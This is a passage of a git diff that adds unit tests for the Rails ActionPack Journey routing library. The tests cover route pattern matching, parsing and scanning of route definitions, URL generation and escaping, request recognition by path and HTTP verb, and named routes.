+ assert_match(path, '/page/TENDER/aaron')
+ assert_match(path, '/page/loVE/aaron')
+ assert_no_match(path, '/page/loVE/AAron')
+ end
+
+ def test_to_regexp_with_strexp
+ strexp = Router::Strexp.build('/:controller', { }, ["/", ".", "?"])
+ path = Pattern.new strexp
+ x = %r{\A/([^/.?]+)\Z}
+
+ assert_equal(x.source, path.source)
+ end
+
+ def test_to_regexp_defaults
+ path = Pattern.from_string '/:controller(/:action(/:id))'
+ expected = %r{\A/([^/.?]+)(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z}
+ assert_equal expected, path.to_regexp
+ end
+
+ def test_failed_match
+ path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ uri = 'content'
+
+ assert_not path =~ uri
+ end
+
+ def test_match_controller
+ path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ uri = '/content'
+
+ match = path =~ uri
+ assert_equal %w{ controller action id format }, match.names
+ assert_equal 'content', match[1]
+ assert_nil match[2]
+ assert_nil match[3]
+ assert_nil match[4]
+ end
+
+ def test_match_controller_action
+ path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ uri = '/content/list'
+
+ match = path =~ uri
+ assert_equal %w{ controller action id format }, match.names
+ assert_equal 'content', match[1]
+ assert_equal 'list', match[2]
+ assert_nil match[3]
+ assert_nil match[4]
+ end
+
+ def test_match_controller_action_id
+ path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ uri = '/content/list/10'
+
+ match = path =~ uri
+ assert_equal %w{ controller action id format }, match.names
+ assert_equal 'content', match[1]
+ assert_equal 'list', match[2]
+ assert_equal '10', match[3]
+ assert_nil match[4]
+ end
+
+ def test_match_literal
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+
+ uri = '/books'
+ match = path =~ uri
+ assert_equal %w{ action format }, match.names
+ assert_nil match[1]
+ assert_nil match[2]
+ end
+
+ def test_match_literal_with_action
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+
+ uri = '/books/list'
+ match = path =~ uri
+ assert_equal %w{ action format }, match.names
+ assert_equal 'list', match[1]
+ assert_nil match[2]
+ end
+
+ def test_match_literal_with_action_and_format
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+
+ uri = '/books/list.rss'
+ match = path =~ uri
+ assert_equal %w{ action format }, match.names
+ assert_equal 'list', match[1]
+ assert_equal 'rss', match[2]
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/route/definition/parser_test.rb b/actionpack/test/journey/route/definition/parser_test.rb
new file mode 100644
index 0000000000..d7d7172a40
--- /dev/null
+++ b/actionpack/test/journey/route/definition/parser_test.rb
@@ -0,0 +1,110 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Definition
+ class TestParser < ActiveSupport::TestCase
+ def setup
+ @parser = Parser.new
+ end
+
+ def test_slash
+ assert_equal :SLASH, @parser.parse('/').type
+ assert_round_trip '/'
+ end
+
+ def test_segment
+ assert_round_trip '/foo'
+ end
+
+ def test_segments
+ assert_round_trip '/foo/bar'
+ end
+
+ def test_segment_symbol
+ assert_round_trip '/foo/:id'
+ end
+
+ def test_symbol
+ assert_round_trip '/:foo'
+ end
+
+ def test_group
+ assert_round_trip '(/:foo)'
+ end
+
+ def test_groups
+ assert_round_trip '(/:foo)(/:bar)'
+ end
+
+ def test_nested_groups
+ assert_round_trip '(/:foo(/:bar))'
+ end
+
+ def test_dot_symbol
+ assert_round_trip('.:format')
+ end
+
+ def test_dot_literal
+ assert_round_trip('.xml')
+ end
+
+ def test_segment_dot
+ assert_round_trip('/foo.:bar')
+ end
+
+ def test_segment_group_dot
+ assert_round_trip('/foo(.:bar)')
+ end
+
+ def test_segment_group
+ assert_round_trip('/foo(/:action)')
+ end
+
+ def test_segment_groups
+ assert_round_trip('/foo(/:action)(/:bar)')
+ end
+
+ def test_segment_nested_groups
+ assert_round_trip('/foo(/:action(/:bar))')
+ end
+
+ def test_group_followed_by_path
+ assert_round_trip('/foo(/:action)/:bar')
+ end
+
+ def test_star
+ assert_round_trip('*foo')
+ assert_round_trip('/*foo')
+ assert_round_trip('/bar/*foo')
+ assert_round_trip('/bar/(*foo)')
+ end
+
+ def test_or
+ assert_round_trip('a|b')
+ assert_round_trip('a|b|c')
+ assert_round_trip('(a|b)|c')
+ assert_round_trip('a|(b|c)')
+ assert_round_trip('*a|(b|c)')
+ assert_round_trip('*a|:b|c')
+ end
+
+ def test_arbitrary
+ assert_round_trip('/bar/*foo#')
+ end
+
+ def test_literal_dot_paren
+ assert_round_trip "/sprockets.js(.:format)"
+ end
+
+ def test_groups_with_dot
+ assert_round_trip "/(:locale)(.:format)"
+ end
+
+ def assert_round_trip str
+ assert_equal str, @parser.parse(str).to_s
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/route/definition/scanner_test.rb b/actionpack/test/journey/route/definition/scanner_test.rb
new file mode 100644
index 0000000000..7a510f1e07
--- /dev/null
+++ b/actionpack/test/journey/route/definition/scanner_test.rb
@@ -0,0 +1,69 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Definition
+ class TestScanner < ActiveSupport::TestCase
+ def setup
+ @scanner = Scanner.new
+ end
+
+ # /page/:id(/:action)(.:format)
+ def test_tokens
+ [
+ ['/', [[:SLASH, '/']]],
+ ['*omg', [[:STAR, '*omg']]],
+ ['/page', [[:SLASH, '/'], [:LITERAL, 'page']]],
+ ['/page!', [[:SLASH, '/'], [:LITERAL, 'page!']]],
+ ['/page$', [[:SLASH, '/'], [:LITERAL, 'page$']]],
+ ['/page&', [[:SLASH, '/'], [:LITERAL, 'page&']]],
+ ["/page'", [[:SLASH, '/'], [:LITERAL, "page'"]]],
+ ['/page*', [[:SLASH, '/'], [:LITERAL, 'page*']]],
+ ['/page+', [[:SLASH, '/'], [:LITERAL, 'page+']]],
+ ['/page,', [[:SLASH, '/'], [:LITERAL, 'page,']]],
+ ['/page;', [[:SLASH, '/'], [:LITERAL, 'page;']]],
+ ['/page=', [[:SLASH, '/'], [:LITERAL, 'page=']]],
+ ['/page@', [[:SLASH, '/'], [:LITERAL, 'page@']]],
+ ['/page\:', [[:SLASH, '/'], [:LITERAL, 'page:']]],
+ ['/page\(', [[:SLASH, '/'], [:LITERAL, 'page(']]],
+ ['/page\)', [[:SLASH, '/'], [:LITERAL, 'page)']]],
+ ['/~page', [[:SLASH, '/'], [:LITERAL, '~page']]],
+ ['/pa-ge', [[:SLASH, '/'], [:LITERAL, 'pa-ge']]],
+ ['/:page', [[:SLASH, '/'], [:SYMBOL, ':page']]],
+ ['/(:page)', [
+ [:SLASH, '/'],
+ [:LPAREN, '('],
+ [:SYMBOL, ':page'],
+ [:RPAREN, ')'],
+ ]],
+ ['(/:action)', [
+ [:LPAREN, '('],
+ [:SLASH, '/'],
+ [:SYMBOL, ':action'],
+ [:RPAREN, ')'],
+ ]],
+ ['(())', [[:LPAREN, '('],
+ [:LPAREN, '('], [:RPAREN, ')'], [:RPAREN, ')']]],
+ ['(.:format)', [
+ [:LPAREN, '('],
+ [:DOT, '.'],
+ [:SYMBOL, ':format'],
+ [:RPAREN, ')'],
+ ]],
+ ].each do |str, expected|
+ @scanner.scan_setup str
+ assert_tokens expected, @scanner
+ end
+ end
+
+ def assert_tokens tokens, scanner
+ toks = []
+ while tok = scanner.next_token
+ toks << tok
+ end
+ assert_equal tokens, toks
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/route_test.rb b/actionpack/test/journey/route_test.rb
new file mode 100644
index 0000000000..21d867aca0
--- /dev/null
+++ b/actionpack/test/journey/route_test.rb
@@ -0,0 +1,106 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class TestRoute < ActiveSupport::TestCase
+ def test_initialize
+ app = Object.new
+ path = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ defaults = {}
+ route = Route.new("name", app, path, {}, defaults)
+
+ assert_equal app, route.app
+ assert_equal path, route.path
+ assert_same defaults, route.defaults
+ end
+
+ def test_route_adds_itself_as_memo
+ app = Object.new
+ path = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ defaults = {}
+ route = Route.new("name", app, path, {}, defaults)
+
+ route.ast.grep(Nodes::Terminal).each do |node|
+ assert_equal route, node.memo
+ end
+ end
+
+ def test_ip_address
+ path = Path::Pattern.from_string '/messages/:id(.:format)'
+ route = Route.new("name", nil, path, {:ip => '192.168.1.1'},
+ { :controller => 'foo', :action => 'bar' })
+ assert_equal '192.168.1.1', route.ip
+ end
+
+ def test_default_ip
+ path = Path::Pattern.from_string '/messages/:id(.:format)'
+ route = Route.new("name", nil, path, {},
+ { :controller => 'foo', :action => 'bar' })
+ assert_equal(//, route.ip)
+ end
+
+ def test_format_with_star
+ path = Path::Pattern.from_string '/:controller/*extra'
+ route = Route.new("name", nil, path, {},
+ { :controller => 'foo', :action => 'bar' })
+ assert_equal '/foo/himom', route.format({
+ :controller => 'foo',
+ :extra => 'himom',
+ })
+ end
+
+ def test_connects_all_match
+ path = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))'
+ route = Route.new("name", nil, path, {:action => 'bar'}, { :controller => 'foo' })
+
+ assert_equal '/foo/bar/10', route.format({
+ :controller => 'foo',
+ :action => 'bar',
+ :id => 10
+ })
+ end
+
+ def test_extras_are_not_included_if_optional
+ path = Path::Pattern.from_string '/page/:id(/:action)'
+ route = Route.new("name", nil, path, { }, { :action => 'show' })
+
+ assert_equal '/page/10', route.format({ :id => 10 })
+ end
+
+ def test_extras_are_not_included_if_optional_with_parameter
+ path = Path::Pattern.from_string '(/sections/:section)/pages/:id'
+ route = Route.new("name", nil, path, { }, { :action => 'show' })
+
+ assert_equal '/pages/10', route.format({:id => 10})
+ end
+
+ def test_extras_are_not_included_if_optional_parameter_is_nil
+ path = Path::Pattern.from_string '(/sections/:section)/pages/:id'
+ route = Route.new("name", nil, path, { }, { :action => 'show' })
+
+ assert_equal '/pages/10', route.format({:id => 10, :section => nil})
+ end
+
+ def test_score
+ constraints = {:required_defaults => [:controller, :action]}
+ defaults = {:controller=>"pages", :action=>"show"}
+
+ path = Path::Pattern.from_string "/page/:id(/:action)(.:format)"
+ specific = Route.new "name", nil, path, constraints, defaults
+
+ path = Path::Pattern.from_string "/:controller(/:action(/:id))(.:format)"
+ generic = Route.new "name", nil, path, constraints
+
+ knowledge = {:id=>20, :controller=>"pages", :action=>"show"}
+
+ routes = [specific, generic]
+
+ assert_not_equal specific.score(knowledge), generic.score(knowledge)
+
+ found = routes.sort_by { |r| r.score(knowledge) }.last
+
+ assert_equal specific, found
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
new file mode 100644
index 0000000000..9b2b85ec73
--- /dev/null
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -0,0 +1,38 @@
+# coding: utf-8
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class Router
+ class TestUtils < ActiveSupport::TestCase
+ def test_path_escape
+ assert_equal "a/b%20c+d%25", Utils.escape_path("a/b c+d%")
+ end
+
+ def test_segment_escape
+ assert_equal "a%2Fb%20c+d%25", Utils.escape_segment("a/b c+d%")
+ end
+
+ def test_fragment_escape
+ assert_equal "a/b%20c+d%25?e", Utils.escape_fragment("a/b c+d%?e")
+ end
+
+ def test_uri_unescape
+ assert_equal "a/b c+d", Utils.unescape_uri("a%2Fb%20c+d")
+ end
+
+ def test_uri_unescape_with_utf8_string
+ assert_equal "Šašinková", Utils.unescape_uri("%C5%A0a%C5%A1inkov%C3%A1".force_encoding(Encoding::US_ASCII))
+ end
+
+ def test_normalize_path_not_greedy
+ assert_equal "/foo%20bar%20baz", Utils.normalize_path("/foo%20bar%20baz")
+ end
+
+ def test_normalize_path_uppercase
+ assert_equal "/foo%AAbar%AAbaz", Utils.normalize_path("/foo%aabar%aabaz")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
new file mode 100644
index 0000000000..19c61b5914
--- /dev/null
+++ b/actionpack/test/journey/router_test.rb
@@ -0,0 +1,622 @@
+# encoding: UTF-8
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class TestRouter < ActiveSupport::TestCase
+ attr_reader :routes
+
+ def setup
+ @app = Routing::RouteSet::Dispatcher.new({})
+ @routes = Routes.new
+ @router = Router.new(@routes)
+ @formatter = Formatter.new(@routes)
+ end
+
+ class FakeRequestFeeler < Struct.new(:env, :called)
+ def new env
+ self.env = env
+ self
+ end
+
+ def hello
+ self.called = true
+ 'world'
+ end
+
+ def path_info; env['PATH_INFO']; end
+ def request_method; env['REQUEST_METHOD']; end
+ def ip; env['REMOTE_ADDR']; end
+ end
+
+ def test_dashes
+ router = Router.new(routes)
+
+ exp = Router::Strexp.build '/foo-bar-baz', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, {}, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo-bar-baz'
+ called = false
+ router.recognize(env) do |r, params|
+ called = true
+ end
+ assert called
+ end
+
+ def test_unicode
+ router = Router.new(routes)
+
+ #match the escaped version of /ã»ã’
+ exp = Router::Strexp.build '/%E3%81%BB%E3%81%92', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, {}, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/%E3%81%BB%E3%81%92'
+ called = false
+ router.recognize(env) do |r, params|
+ called = true
+ end
+ assert called
+ end
+
+ def test_request_class_and_requirements_success
+ klass = FakeRequestFeeler.new nil
+ router = Router.new(routes)
+
+ requirements = { :hello => /world/ }
+
+ exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, requirements, {:id => nil}, {}
+
+ env = rails_env({'PATH_INFO' => '/foo/10'}, klass)
+ router.recognize(env) do |r, params|
+ assert_equal({:id => '10'}, params)
+ end
+
+ assert klass.called, 'hello should have been called'
+ assert_equal env.env, klass.env
+ end
+
+ def test_request_class_and_requirements_fail
+ klass = FakeRequestFeeler.new nil
+ router = Router.new(routes)
+
+ requirements = { :hello => /mom/ }
+
+ exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ router.routes.add_route nil, path, requirements, {:id => nil}, {}
+
+ env = rails_env({'PATH_INFO' => '/foo/10'}, klass)
+ router.recognize(env) do |r, params|
+ flunk 'route should not be found'
+ end
+
+ assert klass.called, 'hello should have been called'
+ assert_equal env.env, klass.env
+ end
+
+ class CustomPathRequest < ActionDispatch::Request
+ def path_info
+ env['custom.path_info']
+ end
+
+ def path_info=(x)
+ env['custom.path_info'] = x
+ end
+ end
+
+ def test_request_class_overrides_path_info
+ router = Router.new(routes)
+
+ exp = Router::Strexp.build '/bar', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, {}, {}, {}
+
+ env = rails_env({'PATH_INFO' => '/foo',
+ 'custom.path_info' => '/bar'}, CustomPathRequest)
+
+ recognized = false
+ router.recognize(env) do |r, params|
+ recognized = true
+ end
+
+ assert recognized, "route should have been recognized"
+ end
+
+ def test_regexp_first_precedence
+ add_routes @router, [
+ Router::Strexp.build("/whois/:domain", {:domain => /\w+\.[\w\.]+/}, ['/', '.', '?']),
+ Router::Strexp.build("/whois/:id(.:format)", {}, ['/', '.', '?'])
+ ]
+
+ env = rails_env 'PATH_INFO' => '/whois/example.com'
+
+ list = []
+ @router.recognize(env) do |r, params|
+ list << r
+ end
+ assert_equal 2, list.length
+
+ r = list.first
+
+ assert_equal '/whois/:domain', r.path.spec.to_s
+ end
+
+ def test_required_parts_verified_are_anchored
+ add_routes @router, [
+ Router::Strexp.build("/foo/:id", { :id => /\d/ }, ['/', '.', '?'], false)
+ ]
+
+ assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(nil, { :id => '10' }, { })
+ end
+ end
+
+ def test_required_parts_are_verified_when_building
+ add_routes @router, [
+ Router::Strexp.build("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
+ ]
+
+ path, _ = @formatter.generate(nil, { :id => '10' }, { })
+ assert_equal '/foo/10', path
+
+ assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(nil, { :id => 'aa' }, { })
+ end
+ end
+
+ def test_only_required_parts_are_verified
+ add_routes @router, [
+ Router::Strexp.build("/foo(/:id)", {:id => /\d/}, ['/', '.', '?'], false)
+ ]
+
+ path, _ = @formatter.generate(nil, { :id => '10' }, { })
+ assert_equal '/foo/10', path
+
+ path, _ = @formatter.generate(nil, { }, { })
+ assert_equal '/foo', path
+
+ path, _ = @formatter.generate(nil, { :id => 'aa' }, { })
+ assert_equal '/foo/aa', path
+ end
+
+ def test_knows_what_parts_are_missing_from_named_route
+ route_name = "gorby_thunderhorse"
+ pattern = Router::Strexp.build("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
+ path = Path::Pattern.new pattern
+ @router.routes.add_route nil, path, {}, {}, route_name
+
+ error = assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(route_name, { }, { })
+ end
+
+ assert_match(/missing required keys: \[:id\]/, error.message)
+ end
+
+ def test_does_not_include_missing_keys_message
+ route_name = "gorby_thunderhorse"
+
+ error = assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(route_name, { }, { })
+ end
+
+ assert_no_match(/missing required keys: \[\]/, error.message)
+ end
+
+ def test_X_Cascade
+ add_routes @router, [ "/messages(.:format)" ]
+ resp = @router.serve(rails_env({ 'REQUEST_METHOD' => 'GET', 'PATH_INFO' => '/lol' }))
+ assert_equal ['Not Found'], resp.last
+ assert_equal 'pass', resp[1]['X-Cascade']
+ assert_equal 404, resp.first
+ end
+
+ def test_clear_trailing_slash_from_script_name_on_root_unanchored_routes
+ route_set = Routing::RouteSet.new
+ mapper = Routing::Mapper.new route_set
+
+ app = lambda { |env| [200, {}, ['success!']] }
+ mapper.get '/weblog', :to => app
+
+ env = rack_env('SCRIPT_NAME' => '', 'PATH_INFO' => '/weblog')
+ resp = route_set.call env
+ assert_equal ['success!'], resp.last
+ assert_equal '', env['SCRIPT_NAME']
+ end
+
+ def test_defaults_merge_correctly
+ path = Path::Pattern.from_string '/foo(/:id)'
+ @router.routes.add_route nil, path, {}, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo/10'
+ @router.recognize(env) do |r, params|
+ assert_equal({:id => '10'}, params)
+ end
+
+ env = rails_env 'PATH_INFO' => '/foo'
+ @router.recognize(env) do |r, params|
+ assert_equal({:id => nil}, params)
+ end
+ end
+
+ def test_recognize_with_unbound_regexp
+ add_routes @router, [
+ Router::Strexp.build("/foo", { }, ['/', '.', '?'], false)
+ ]
+
+ env = rails_env 'PATH_INFO' => '/foo/bar'
+
+ @router.recognize(env) { |*_| }
+
+ assert_equal '/foo', env.env['SCRIPT_NAME']
+ assert_equal '/bar', env.env['PATH_INFO']
+ end
+
+ def test_bound_regexp_keeps_path_info
+ add_routes @router, [
+ Router::Strexp.build("/foo", { }, ['/', '.', '?'], true)
+ ]
+
+ env = rails_env 'PATH_INFO' => '/foo'
+
+ before = env.env['SCRIPT_NAME']
+
+ @router.recognize(env) { |*_| }
+
+ assert_equal before, env.env['SCRIPT_NAME']
+ assert_equal '/foo', env.env['PATH_INFO']
+ end
+
+ def test_path_not_found
+ add_routes @router, [
+ "/messages(.:format)",
+ "/messages/new(.:format)",
+ "/messages/:id/edit(.:format)",
+ "/messages/:id(.:format)"
+ ]
+ env = rails_env 'PATH_INFO' => '/messages/unknown/path'
+ yielded = false
+
+ @router.recognize(env) do |*whatever|
+ yielded = true
+ end
+ assert_not yielded
+ end
+
+ def test_required_part_in_recall
+ add_routes @router, [ "/messages/:a/:b" ]
+
+ path, _ = @formatter.generate(nil, { :a => 'a' }, { :b => 'b' })
+ assert_equal "/messages/a/b", path
+ end
+
+ def test_splat_in_recall
+ add_routes @router, [ "/*path" ]
+
+ path, _ = @formatter.generate(nil, { }, { :path => 'b' })
+ assert_equal "/b", path
+ end
+
+ def test_recall_should_be_used_when_scoring
+ add_routes @router, [
+ "/messages/:action(/:id(.:format))",
+ "/messages/:id(.:format)"
+ ]
+
+ path, _ = @formatter.generate(nil, { :id => 10 }, { :action => 'index' })
+ assert_equal "/messages/index/10", path
+ end
+
+ def test_nil_path_parts_are_ignored
+ path = Path::Pattern.from_string "/:controller(/:action(.:format))"
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ params = { :controller => "tasks", :format => nil }
+ extras = { :action => 'lol' }
+
+ path, _ = @formatter.generate(nil, params, extras)
+ assert_equal '/tasks', path
+ end
+
+ def test_generate_slash
+ params = [ [:controller, "tasks"],
+ [:action, "show"] ]
+ str = Router::Strexp.build("/", Hash[params], ['/', '.', '?'], true)
+ path = Path::Pattern.new str
+
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, _ = @formatter.generate(nil, Hash[params], {})
+ assert_equal '/', path
+ end
+
+ def test_generate_calls_param_proc
+ path = Path::Pattern.from_string '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ parameterized = []
+ params = [ [:controller, "tasks"],
+ [:action, "show"] ]
+
+ @formatter.generate(
+ nil,
+ Hash[params],
+ {},
+ lambda { |k,v| parameterized << [k,v]; v })
+
+ assert_equal params.map(&:to_s).sort, parameterized.map(&:to_s).sort
+ end
+
+ def test_generate_id
+ path = Path::Pattern.from_string '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, params = @formatter.generate(
+ nil, {:id=>1, :controller=>"tasks", :action=>"show"}, {})
+ assert_equal '/tasks/show', path
+ assert_equal({:id => 1}, params)
+ end
+
+ def test_generate_escapes
+ path = Path::Pattern.from_string '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, _ = @formatter.generate(nil,
+ { :controller => "tasks",
+ :action => "a/b c+d",
+ }, {})
+ assert_equal '/tasks/a%2Fb%20c+d', path
+ end
+
+ def test_generate_escapes_with_namespaced_controller
+ path = Path::Pattern.from_string '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, _ = @formatter.generate(
+ nil, { :controller => "admin/tasks",
+ :action => "a/b c+d",
+ }, {})
+ assert_equal '/admin/tasks/a%2Fb%20c+d', path
+ end
+
+ def test_generate_extra_params
+ path = Path::Pattern.from_string '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, params = @formatter.generate(
+ nil, { :id => 1,
+ :controller => "tasks",
+ :action => "show",
+ :relative_url_root => nil
+ }, {})
+ assert_equal '/tasks/show', path
+ assert_equal({:id => 1, :relative_url_root => nil}, params)
+ end
+
+ def test_generate_uses_recall_if_needed
+ path = Path::Pattern.from_string '/:controller(/:action(/:id))'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, params = @formatter.generate(
+ nil,
+ {:controller =>"tasks", :id => 10},
+ {:action =>"index"})
+ assert_equal '/tasks/index/10', path
+ assert_equal({}, params)
+ end
+
+ def test_generate_with_name
+ path = Path::Pattern.from_string '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, "tasks"
+
+ path, params = @formatter.generate(
+ "tasks",
+ {:controller=>"tasks"},
+ {:controller=>"tasks", :action=>"index"})
+ assert_equal '/tasks', path
+ assert_equal({}, params)
+ end
+
+ {
+ '/content' => { :controller => 'content' },
+ '/content/list' => { :controller => 'content', :action => 'list' },
+ '/content/show/10' => { :controller => 'content', :action => 'show', :id => "10" },
+ }.each do |request_path, expected|
+ define_method("test_recognize_#{expected.keys.map(&:to_s).join('_')}") do
+ path = Path::Pattern.from_string "/:controller(/:action(/:id))"
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rails_env 'PATH_INFO' => request_path
+ called = false
+
+ @router.recognize(env) do |r, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+
+ assert called
+ end
+ end
+
+ {
+ :segment => ['/a%2Fb%20c+d/splat', { :segment => 'a/b c+d', :splat => 'splat' }],
+ :splat => ['/segment/a/b%20c+d', { :segment => 'segment', :splat => 'a/b c+d' }]
+ }.each do |name, (request_path, expected)|
+ define_method("test_recognize_#{name}") do
+ path = Path::Pattern.from_string '/:segment/*splat'
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rails_env 'PATH_INFO' => request_path
+ called = false
+
+ @router.recognize(env) do |r, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+
+ assert called
+ end
+ end
+
+ def test_namespaced_controller
+ strexp = Router::Strexp.build(
+ "/:controller(/:action(/:id))",
+ { :controller => /.+?/ },
+ ["/", ".", "?"]
+ )
+ path = Path::Pattern.new strexp
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rails_env 'PATH_INFO' => '/admin/users/show/10'
+ called = false
+ expected = {
+ :controller => 'admin/users',
+ :action => 'show',
+ :id => '10'
+ }
+
+ @router.recognize(env) do |r, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+ assert called
+ end
+
+ def test_recognize_literal
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+ app = Object.new
+ route = @router.routes.add_route(app, path, {}, {:controller => 'books'})
+
+ env = rails_env 'PATH_INFO' => '/books/list.rss'
+ expected = { :controller => 'books', :action => 'list', :format => 'rss' }
+ called = false
+ @router.recognize(env) do |r, params|
+ assert_equal route, r
+ assert_equal(expected, params)
+ called = true
+ end
+
+ assert called
+ end
+
+ def test_recognize_head_route
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+ app = Object.new
+ conditions = { request_method: 'HEAD' }
+ @router.routes.add_route(app, path, conditions, {})
+
+ env = rails_env(
+ 'PATH_INFO' => '/books/list.rss',
+ 'REQUEST_METHOD' => 'HEAD'
+ )
+
+ called = false
+ @router.recognize(env) do |r, params|
+ called = true
+ end
+
+ assert called
+ end
+
+ def test_recognize_head_request_as_get_route
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+ app = Object.new
+ conditions = {
+ :request_method => 'GET'
+ }
+ @router.routes.add_route(app, path, conditions, {})
+
+ env = rails_env 'PATH_INFO' => '/books/list.rss',
+ "REQUEST_METHOD" => "HEAD"
+
+ called = false
+ @router.recognize(env) do |r, params|
+ called = true
+ end
+
+ assert called
+ end
+
+ def test_recognize_cares_about_verbs
+ path = Path::Pattern.from_string "/books(/:action(.:format))"
+ app = Object.new
+ conditions = { request_method: 'GET' }
+ @router.routes.add_route(app, path, conditions, {})
+
+ env = rails_env 'PATH_INFO' => '/books/list.rss',
+ "REQUEST_METHOD" => "POST"
+
+ called = false
+ @router.recognize(env) do |r, params|
+ called = true
+ end
+
+ assert_not called
+
+ conditions = conditions.dup
+ conditions[:request_method] = 'POST'
+
+ post = @router.routes.add_route(app, path, conditions, {})
+
+ called = false
+ @router.recognize(env) do |r, params|
+ assert_equal post, r
+ called = true
+ end
+
+ assert called
+ end
+
+ private
+
+ def add_routes router, paths
+ paths.each do |path|
+ if String === path
+ path = Path::Pattern.from_string path
+ else
+ path = Path::Pattern.new path
+ end
+ router.routes.add_route @app, path, {}, {}, {}
+ end
+ end
+
+ def rails_env env, klass = ActionDispatch::Request
+ klass.new(rack_env(env))
+ end
+
+ def rack_env env
+ {
+ "rack.version" => [1, 1],
+ "rack.input" => StringIO.new,
+ "rack.errors" => StringIO.new,
+ "rack.multithread" => true,
+ "rack.multiprocess" => true,
+ "rack.run_once" => false,
+ "REQUEST_METHOD" => "GET",
+ "SERVER_NAME" => "example.org",
+ "SERVER_PORT" => "80",
+ "QUERY_STRING" => "",
+ "PATH_INFO" => "/content",
+ "rack.url_scheme" => "http",
+ "HTTPS" => "off",
+ "SCRIPT_NAME" => "",
+ "CONTENT_LENGTH" => "0"
+ }.merge env
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/routes_test.rb b/actionpack/test/journey/routes_test.rb
new file mode 100644
index 0000000000..a4efc82b8c
--- /dev/null
+++ b/actionpack/test/journey/routes_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class TestRoutes < ActiveSupport::TestCase
+ def test_clear
+ routes = Routes.new
+ exp = Router::Strexp.build '/foo(/:id)', {}, ['/.?']
+ path = Path::Pattern.new exp
+ requirements = { :hello => /world/ }
+
+ routes.add_route nil, path, requirements, {:id => nil}, {}
+ assert_equal 1, routes.length
+
+ routes.clear
+ assert_equal 0, routes.length
+ end
+
+ def test_ast
+ routes = Routes.new
+ path = Path::Pattern.from_string '/hello'
+
+ routes.add_route nil, path, {}, {}, {}
+ ast = routes.ast
+ routes.add_route nil, path, {}, {}, {}
+ assert_not_equal ast, routes.ast
+ end
+
+ def test_simulator_changes
+ routes = Routes.new
+ path = Path::Pattern.from_string '/hello'
+
+ routes.add_route nil, path, {}, {}, {}
+ sim = routes.simulator
+ routes.add_route nil, path, {}, {}, {}
+ assert_not_equal sim, routes.simulator
+ end
+
+ def test_first_name_wins
+ #def add_route app, path, conditions, defaults, name = nil
+ routes = Routes.new
+
+ one = Path::Pattern.from_string '/hello'
+ two = Path::Pattern.from_string '/aaron'
+
+ routes.add_route nil, one, {}, {}, 'aaron'
+ routes.add_route nil, two, {}, {}, 'aaron'
+
+ assert_equal '/hello', routes.named_routes['aaron'].path.spec.to_s
+ end
+ end
+ end
+end
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index 82f38b5309..ce9522d12a 100644
--- a/actionpack/test/lib/controller/fake_models.rb
